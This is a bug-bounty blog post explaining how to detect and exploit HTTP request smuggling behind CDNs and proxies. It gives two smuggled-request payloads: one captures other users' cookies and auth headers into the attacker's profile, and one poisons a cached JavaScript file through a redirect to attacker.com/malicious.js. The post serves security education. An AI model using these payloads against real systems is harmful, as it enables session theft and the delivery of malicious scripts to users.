Crossing The Borders : The illegal trade of HTTP requests

Plenum
Plenum
Dec 25, 2019 · 4 min read

TL;DR, This blog post will be the first in a series of posts that will go through some tips and tricks about finding and exploiting http request smuggling vulnurabilities.

This attack vector was recently presented by James Kettle (Albinowax), during numerous occasions he discussed the different techniques that he was able to perform in order to attack vulnerable apps, hopefully in this series i will go through some of the techniques that i came accross during testing on real targets.

image from Portswigger.net

Request smuggling is fairly complex to achieve as certain conditions must exist for a vulnerable system to be exploitable, i will go through the details in a bit, but for now keep in mind that successful detection doesn’t necessarily mean guaranteed exploitation.

As explained by James the attack takes advantage of discrepencies between several layers of a system(s) (proxies, loadbalancers…). The frontend and backend may treat requests differently, one system may use Transfer-Encoding where the other would use Content-length to process requests, an attacker would simply send a manipulated request that includes both headers, the first system would forward that request as is but the second system would think it received two different requests and would wait for the end of the request and thus any random user using the app during that time would reveive a corrupted/poisoned response.


The attack is grouped into two major categories TE.CL and CL.TE, i won’t go through the differences between the two but keep in mind that the techniques discussed here could be applied in both cases.

The first step is detecting the vuln, the vulnerability may exist on a single path but not on other paths so this step consists of simply probing every host and every single path on those hosts, this is because in modern web apps routing could be performed using host headers or paths. During this step it is recommended to use valid POST requests with valid params but if that is not possible use GET requests. James had built a reliable tool just for that with almost no false positives, so it shouldn’t be too hard to do the scanning. On a couple of occasions i was able to find request smuggling on a host by changing my ip this happened mainly when the company used cloudflare or cloudfront, it turned out that one system was vulnerable but not the rest this meant i had to hit the right origin ip to exploit this vuln, so you may also try finding the different origin ips and scan hosts using them.

Now the interesting part, exploitation, here i wanted to discuss a pretty common behavior in cdn’s, it occurs when testing host header injection, for example a company with two subdomains vuln.victim.io and api.victim.io if you try host header injection on vuln.victim.io with the host header api.victim.io you would see the content of api.victim.io this also works on some blogging services, this behaviour by itself is harmless but with request smuggling it becomes critical, this means that if request smuggling exists on one subdomain it could potentially allow an attacker to target other hosts/services.

A practical example would look like this

POST / HTTP/1.1
Host: vuln.victim.io
Content-Type: application/x-www-form-urlencoded
Content-Length: 164
Connection: keep-alive
Transfer-Encoding: chunked
9
q=exploit
0
POST /personaldata HTTP/1.1
Host: api.victim.io
Content-Type: application/x-www-form-urlencoded
Content-Length: 300
Cookie: MY_COOKIES
Connection: close
bio=VICTIM REQUEST APPENDED HERE

In this scenario i had no option but to use the api host to post data to my bio, any user requests on vuln.victim.io would get appended to my request, and the system would process that request and post the entire request including victim cookies, auth header and csrf header to my bio.

The same exact logic could be applied when trying to abuse cache and poison javascript files, James discussed that in order to perform such an attack it is possible to use directory redirects + host header injections to redirect any request to external javascript file, but this technique won’t work on certain configurations so by leveraging the behaviour discussed earlier it is possible to use an open redirect found on another host

POST /scripts/vendor.js HTTP/1.1
Host: vuln.victim.io
Content-Type: application/x-www-form-urlencoded
Content-Length: 164
Connection: keep-alive
Transfer-Encoding: chunked
9
q=exploit
0
GET /?redir=https://attacker.com/malicious.js HTTP/1.1
Host: blog.victim.io
Content-Type: application/x-www-form-urlencoded
Content-Length: 300
Cookie: MY_COOKIES
Connection: close
x=VICTIM REQUEST APPENDED HERE

In the example above, an open redirect existed on blog.victim.io but the request smuggling exits on vuln.victim.io this allowed me to target javascript files on vuln.victim.io.

Each case and each target is different so keep at them and hack the world.



A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. In a nutshell, we are the largest InfoSec publication on Medium. Maintained by Hackrew

Plenum

Written by

InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. In a nutshell, we are the largest InfoSec publication on Medium. Maintained by Hackrew

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade